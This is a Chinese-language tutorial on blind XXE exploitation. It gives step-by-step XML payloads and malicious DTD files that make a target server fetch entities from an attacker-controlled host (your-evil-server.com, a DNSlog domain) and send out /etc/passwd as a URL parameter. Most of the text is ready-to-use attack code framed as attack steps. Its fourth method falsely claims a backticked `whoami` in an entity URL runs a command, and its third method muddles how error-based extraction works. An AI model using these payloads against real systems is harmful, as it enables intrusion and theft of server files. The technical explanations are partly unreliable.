### XXE 盲注思路

1. 基础的带外请求（OOB）

这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞，即使没有回显

- 攻击步骤：

  1. 准备攻击服务器： 搭建一个 Web 服务器（例如使用 Python 的 `SimpleHTTPServer`）或利用DNSlog平台

  2. 构造恶意 XML 实体：

         <?xml version="1.0"?>
         <!DOCTYPE a [
         <!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
         %p1;
         ]>
         <test></test>

  3. 发送请求： 将上述 XML 作为请求体发送到目标服务器

  4. 确认存在漏洞： 如果你的服务器收到了来自目标 IP 的 `GET /test` 请求，就说明服务器存在 XXE 漏洞

2. 利用带外请求获取文件内容

确认漏洞存在后，下一步就是尝试读取服务器上的文件

- 攻击步骤：

  1. 构造恶意 DTD 文件： 在你的攻击服务器上，创建一个 DTD 文件（例如 `evil.dtd`），内容如下：

         <!ENTITY % file SYSTEM "file:///etc/passwd">
         <!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">

  2. 构造主 XML 请求：

         <?xml version="1.0"?>
         <!DOCTYPE a [
         <!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
         %p1;
         %send;
         ]>
         <test></test>

  3. 发送请求：

     - 当服务器解析主 XML 文件时，它会首先请求 `evil.dtd`
     - 解析 `evil.dtd` 后，它会读取 `file:///etc/passwd` 的内容，并将其作为 `%file` 实体的值
     - 最后，它会请求 `%send` 实体，将文件内容作为 `GET` 参数发送到你的服务器

  4. 接收数据： 你会在你的服务器日志中看到类似 `GET /?data=root:x:0:0:root:/root:/bin/bash...` 的请求，从而获取 `/etc/passwd` 的内容

3. 利用参数实体获取错误信息

当无法通过 HTTP GET 请求直接传输数据时，可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤

- 攻击步骤：

  1. 构造恶意 DTD 文件： 在你的服务器上创建 DTD 文件，内容如下：

         <!ENTITY % p1 "
         <!ENTITY &#x25; oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
         ">

  2. 构造主 XML 请求：

         <?xml version="1.0"?>
         <!DOCTYPE root [
         <!ENTITY % file SYSTEM "file:///etc/passwd">
         <!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
         %dtd;
         %p1;
         %oob;
         ]>
         <root></root>

  3. 发送请求：

     - 服务器解析主 XML 时，会首先加载 `evil.dtd`
     - 然后，它会尝试解析 `%p1`，其中包含 `%oob` 的定义
     - 由于 `%oob` 实体引用了 `%file`，而 `%file` 是一个文件内容，当 XML 解析器尝试将其解析为 URL 时，会因为语法错误而失败，并抛出错误信息

  4. 这种方法的关键在于，某些 XML 解析器会把完整的错误信息（包括外部实体的内容）带回给客户端，或者将其写入服务器日志。 虽然不能直接从响应中看到，但可以利用这个特性进行注入

4. 利用 DNSlog 获取数据

当目标服务器无法出网，或者 HTTP 协议被严格过滤时，DNSlog 是一个非常好的选择

- 攻击步骤：

  1. 准备 DNSlog 平台： 获取一个 DNSlog 域名，例如 `hacker.dnslog.cn`

  2. 构造 XML 请求：

         <?xml version="1.0"?>
         <!DOCTYPE a [
         <!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
         %p1;
         ]>
         <test></test>

  3. 发送请求：

     - 服务器解析 XML 时，会尝试解析 `whoami` 命令的输出，并将其作为子域名，向 `hacker.dnslog.cn` 发起 DNS 查询

  4. 查看结果： 你会在 DNSlog 平台的日志中看到类似 `www-data.hacker.dnslog.cn` 的查询记录，从而获取到 `whoami` 命令的输出